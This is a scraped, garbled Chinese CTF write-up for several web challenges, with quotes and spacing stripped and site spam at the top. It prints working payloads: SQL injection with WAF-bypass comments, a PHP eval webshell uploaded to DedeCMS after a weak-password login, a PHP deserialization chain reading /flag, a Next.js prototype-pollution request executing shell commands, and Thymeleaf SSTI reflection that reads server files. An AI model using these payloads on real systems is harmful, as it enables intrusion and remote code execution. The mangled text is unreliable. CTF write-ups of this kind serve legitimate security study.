2026/5/21 16:29:04
网站建设
项目流程
宝塔里面一个服务器做多个网站,网站建设早会说什么,新泰建设局网站,做网站找哪个公司题目难度不小#xff0c;看着很多题目被解烂了再去尝试解题的#xff0c;不然真的做不出来#xff0c;还有题ai安全只能说幸好暑假的时候练过一段时间#xff0c;也打过相关比赛#xff0c;但是都是用ai来做ai安全的题#xff0c;但是这个知道怎么去入手就发现轻松一点了…题目难度不小看着很多题目被解烂了再去尝试解题的不然真的做不出来还有题ai安全只能说幸好暑假的时候练过一段时间也打过相关比赛但是都是用ai来做ai安全的题但是这个知道怎么去入手就发现轻松一点了AI_WAF打开题目后再输入框发现很多可以注入这里就是测试发现过滤union selet被过滤使用/*!50000UNION*/ /*!50000SELECT*/绕过--被过滤使用#这里就不断测试就得到结果 # ORDER BY 2 # ORDER BY 3 # ORDER BY 4 # //这里就是无内容 /*!50000UNION*/ /*!50000SELECT*/ 1,2,3 # /*!50000UNION*/ /*!50000SELECT*/ 1, database(), 3 # //爆出表明where_is_my_flagggggg /*!50000UNION*/ /*!50000SELECT*/ 1, group_concat(table_name), 3 /*!50000FROM*/ information_schema.tables WHERE table_schemadatabase() # //爆列名Th15_ls_f149 /*!50000UNION*/ /*!50000SELECT*/ 1, Th15_ls_f149, 3 /*!50000FROM*/ where_is_my_flagggggg #dedecms我这里登录进去随便注册个用户然后测试测试一下登录之后发现两个用户admin和Aa123456789再去搜索相应漏洞知道/dede这个后台这里就是直接访问发现可以去登录回想之前测试登录的会员中心这里测试登录admin弱口令爆破发现进不去但是Aa123456789/Aa123456789可以直接登录接着在普通文章添加文档里发现缩放图那里可以直接上传图片这里先上传一个图片在把图片内容改成GIF89a ?php eval($_POST[1]);?最后蚁剑访问/uploads/allimg/251228/2-25122Q153410-L.phphellogate打开是个图片抓包发现源码然后直接写链子打error_reporting(0);classA{public$handle;publicfunctiontriggerMethod(){echo.$this-handle;}}classB{public$worker;public$cmd;publicfunction__toString(){return$this-worker-result;}}classC{public$cmd;publicfunction__get($name){echofile_get_contents($this-cmd);}}$rawisset($_POST[data])?$_POST[data]:;header(Content-Type: image/jpeg);readfile(muzujijiji.jpg);highlight_file(__FILE__);$objunserialize($_POST[data]);?phpclassA{public$handle;}classB{public$worker;public$cmd;}classC{public$cmd;}$cnewC();$c-cmd/flag;$bnewB();$b-worker$c;$anewA();$a-handle$b;echoserialize($a);?生成的payload:redjs打开题目很像最近很火的cve漏洞直接拿历史poc之前的笔记翻pocPOST/HTTP/2Host:eci-2ze6abkjcsv3molupgho.cloudeci1.ichunqiu.com:3000User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,like Gecko)Chrome/60.0.3112.113Safari/537.36Assetnote/1.0.0Next-Action:xX-Nextjs-Request-Id:b5dce965 Content-Type:multipart/form-data;boundary----WebKitFormBoundaryx8jO2oVc6SWP3SadX-Nextjs-Html-Request-Id:SSTMXm7OJ_g0Ncx6jpQt9 Content-Length:894------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition:form-data;name0{then:$1:__proto__:then,status:resolved_model,reason:-1,value:{\then\:\$B1337\},_response:{_prefix:var resprocess.mainModule.require(child_process).execSync(cat /flag,{timeout:5000}).toString().trim();;throw Object.assign(new Error(NEXT_REDIRECT), {digest:${res}});,_chunks:$Q2,_formData:{get:$1:constructor:constructor}}}------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition:form-data;name1$0------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition:form-data;name2[]------WebKitFormBoundaryx8jO2oVc6SWP3Sad--$0------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition:form-data;name2[]------WebKitFormBoundaryx8jO2oVc6SWP3Sad--ezjava这里后台发现有弱口令可以直接进入admin/admin123直接测试发现可以进来进来之后下面的输入框里去测试fuzz或则ssti和xss因为最开始呈现的内容很像xss最后发现ssti通过回显知道是Thymeleaf SSTI继续使用Thymeleaf SSTI Fuzzing字典这里发现已经找到目录了研究修改一下T() 被过滤 → 使用 #ctx.getClass().forName(“类名”)new 被过滤 → 使用反射 getConstructor().newInstance()关键字被过滤 → 使用字符串拼接 “fl” “ag”java.nio.file.Paths.get(路径) → 创建 Path 对象java.nio.file.Files.list(path) → 列出目录ava.nio.file.Files.readString(path) → 读取文件内容获取类[[${#ctx.getClass().forName(“java.lang.Runtime”)}]]列出目录[[${#ctx.getClass().forName(“java.nio.file.Files”).getMethod(“list”, #ctx.getClass().forName(“java.nio.file.Path”)).invoke(null, #ctx.getClass().forName(“java.nio.file.Paths”).getMethod(“get”, #ctx.getClass().forName(“java.lang.String”), #ctx.getClass().forName(“[Ljava.lang.String;”)).invoke(null, “/”, #strings.arraySplit(“”, “,”))).collect(#ctx.getClass().forName(“java.util.stream.Collectors”).getMethod(“toList”).invoke(null))}]]最后找到flag_y0u_d0nt_kn0wflag使用fl“ag_y0u_d0nt_kn0w[[${#ctx.getClass().forName(“java.nio.file.Files”).getMethod(“readString”, #ctx.getClass().forName(“java.nio.file.Path”)).invoke(null, #ctx.getClass().forName(“java.nio.file.Paths”).getMethod(“get”, #ctx.getClass().forName(“java.lang.String”), #ctx.getClass().forName(”[Ljava.lang.String;“)).invoke(null, “/fl” “ag_y0u_d0nt_kn0w”, #strings.arraySplit(”, “,”)))}]]最后拼接完成欺诈猎手的后门陷阱首先根据特征列表去构造payload将特征列表里的后面的中文东西给替换成空nullpayload { trans_amount_usd: null, addr_deviation_score: null, trans_time_risk_score: null, merchant_code_hash: null, card_issuer_code: null, pos_terminal_id: null, transaction_type_code: null, cvv_verify_score: null, account_age_month: null, daily_trans_count: null }这里就是先尝试继续添加json格式fraud_detector_supply_chain.pth XGBoost欺诈检测模型fraud_samples.csv - 欺诈交易样本normal_samples.csv - 正常交易样本一个API接口用于调用模型importrequestsimporturllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)urlhttps://eci-2zef7i7kg41zl9ps0luz.cloudeci1.ichunqiu.com:5000/api/predictheaders{Content-Type:application/json}payload{ trans_amount_usd: NaN, addr_deviation_score: NaN, trans_time_risk_score: NaN, merchant_code_hash: NaN, card_issuer_code: NaN, pos_terminal_id: NaN, transaction_type_code: NaN, cvv_verify_score: NaN, account_age_month: NaN, daily_trans_count: NaN }responserequests.post(url,datapayload,headersheaders,timeout10,verifyFalse)ifflaginresponse.text:print(f内容:{response.text})else:print(不行)这里最开始使用null返回不行估计是解析问题这里替换成NAN因为 Python 的json库默认是允许反序列化NaN的且NaN属于float类型正好能骗过服务器的数值类型检查这里应该只要不是数值型都可以运行成功回显内容: {backdoor_triggered:true,encrypted_flag:Khk8LGtnVgIGPwZMOhkwNWsCd0EGPyBLLidWb313eFkTPw0SLDM3K31kZF4FPwkRLUY3JXx0awE5OCxE,hint:\u52a0\u5bc6\u65b9\u5f0f\uff1aBase64\u7f16\u7801 \u2192 XOR\u52a0\u5bc6\uff08\u5bc6\u94a5\uff1actf_2025_key\uff09\u2192 Base64\u7f16\u7801,message:\u89e6\u53d1\u540e\u95e8\u89c4\u5219\uff01Flag\u5df2\u52a0\u5bc6\uff0c\u9700\u89e3\u5bc6\u540e\u83b7\u53d6,status:success}看见flag加密查看hint一眼十六进制加密解密一下最后写解密脚本importbase64 cKhk8LGtnVgIGPwZMOhkwNWsCd0EGPyBLLidWb313eFkTPw0SLDM3K31kZF4FPwkRLUY3JXx0awE5OCxEkctf_2025_key.encode(utf-8)b1base64.b64decode(c)resbytearray()fori,binenumerate(b1):res.append(b^k[i%len(k)])flagbase64.b64decode(res).decode(utf-8)print(flag)ort base64c “Khk8LGtnVgIGPwZMOhkwNWsCd0EGPyBLLidWb313eFkTPw0SLDM3K31kZF4FPwkRLUY3JXx0awE5OCxE”k “ctf_2025_key”.encode(“utf-8”)b1 base64.b64decode©res bytearray()for i, b in enumerate(b1):res.append(b ^ k[i % len(k)])flag base64.b64decode(res).decode(“utf-8”)print(flag)